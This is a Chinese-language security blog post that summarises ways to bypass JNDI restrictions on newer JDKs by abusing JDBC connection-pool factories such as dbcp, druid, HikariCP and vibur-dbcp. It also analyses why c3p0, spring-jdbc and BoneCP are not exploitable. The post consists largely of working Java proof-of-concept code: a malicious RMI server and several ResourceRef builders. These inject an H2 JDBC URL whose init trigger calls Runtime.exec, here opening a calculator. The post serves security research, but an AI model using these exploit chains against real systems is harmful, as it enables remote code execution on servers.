JNDI高版本绕过之JDBCAttack总结

前言

最初是在浅蓝师傅的JNDI高版本绕过里见到的,最近又碰到了,当时学的也不太全面,这里回过头学一下,对常见的连接池的利用做一个总结

同样的这些也可以作为高版本JDK绕过的getter sinks,本文全篇利用H2数据库用作来演示攻击。

dbcp

可以直接参考https://tttang.com/archive/1405/#toc_dbcp

分为tomcat dbcp和commons-dbcp, 每个又分为两个版本,看情况修改factory名字即可, 这里测试用的是commons-dbcp 1.4的factory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class EvilRmiServer {
public static void lanuchRMIregister(Integer rmi_port) throws Exception {

System.out.println("Creating RMI Registry, RMI Port:"+rmi_port);
Registry registry = LocateRegistry.createRegistry(rmi_port);
ResourceRef ref = exec();

ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
System.out.println(referenceWrapper.getReference());

}

public static ResourceRef exec() {
String factory = "org.apache.commons.dbcp.BasicDataSourceFactory";

ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,factory,null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('"+"open -a Calculator"+"')\n" +
"$$\n";

ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username","root"));
ref.add(new StringRefAddr("password","password"));
ref.add(new StringRefAddr("initialSize","1"));
return ref;
}

public static void main(String[] args) throws Exception {
lanuchRMIregister(1099);
}
}

测试:

1
InitialContext initialContext = new InitialContext();        initialContext.lookup("rmi://localhost:1099/Exploit");

其他:

1
2
3
4
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory
org.apache.commons.dbcp2.BasicDataSourceFactory
org.apache.commons.dbcp.BasicDataSourceFactory

tomcat-jdbc

修改factory为org.apache.tomcat.jdbc.pool.DataSourceFactory 即可

druid

测试用的druid最新版1.2.23仍然可以打。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static ResourceRef exec() {
String factory = "com.alibaba.druid.pool.DruidDataSourceFactory";

ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,factory,null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('"+"open -a Calculator"+"')\n" +
"$$\n";


String JDBC_USER = "root";
String JDBC_PASSWORD = "password";

ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username",JDBC_USER));
ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));

return ref;
}

HikariCP

1
2
3
4
5
6
7
8
9
10
11
12
13
public static ResourceRef exec() {
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,"com.zaxxer.hikari.HikariJNDIFactory",null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('"+"open -a Calculator"+"')\n" +
"$$\n";
ref.add(new StringRefAddr("jdbcUrl", JDBC_URL));
ref.add(new StringRefAddr("username",""));
ref.add(new StringRefAddr("password",""));

return ref;
}

com.zaxxer.hikari.HikariJNDIFactory

vibur-dbcp

找了个小众的组件看了看。

image-20240606153556479

dataSource.start() 明显就是连接的逻辑。

直接给poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
public static ResourceRef exec() {
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null, "", "", true,"org.vibur.dbcp.ViburDBCPObjectFactory",null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('"+"open -a Calculator"+"')\n" +
"$$\n";
ref.add(new StringRefAddr("jdbcUrl", JDBC_URL));
ref.add(new StringRefAddr("username",""));
ref.add(new StringRefAddr("password",""));

return ref;
}

其他没法利用的

c3p0

C3p0 低版本0.9只有一个JavaBeanObjectFactory, 可能有点用吧可以调用任意seter。

image-20240606160251340

image-20240606160310805

此处newInstance也没参数可控。

还有一处反序列化:

image-20240606160705343

SerializableUtils#deserializeFromByteArray

image-20240606160714169

JNDI本身就能打反序列化,意义也不大。

稍微高点的版本分了两个包,在mchange-commons-java里,多了一个实现ObjectFactory的类:

DriverManagerDataSource.DmdsObjectFactory#getObjectInstance

image-20240606163536294

这里new了个DriverManagerDataSource,但是很可惜DriverManagerDataSource构造函数就是个赋值,也没法利用

image-20240606163618343

spring-jdbc

出于好奇看了下spring-jdbc这种应该很热门的东西为啥文章里没,全局搜索了下jar包根本就没有implements ObjectFactory的类。

试了2.0 3.0 和6.x的几个版本,也是没有。所以没法利用。

BoneCP

这个倒是有,但是他的getObjectInstance没连接逻辑。

image-20240606165030499

上面都是属性设置,可能有用的就最后两行。

看看BoneCPDataSource的构造函数

image-20240606165135834

反射赋个值,也是利用不了。

参考文章或项目:

https://tttang.com/archive/1405/

https://xz.aliyun.com/t/14044

https://github.com/luelueking/Deserial_Sink_With_JDBC

w


JNDI高版本绕过之JDBCAttack总结
http://example.com/2024/06/06/JNDI高版本绕过之JDBCAttack总结/
Aŭtoro
zhattatey
Postigita
June 6, 2024
Lizenta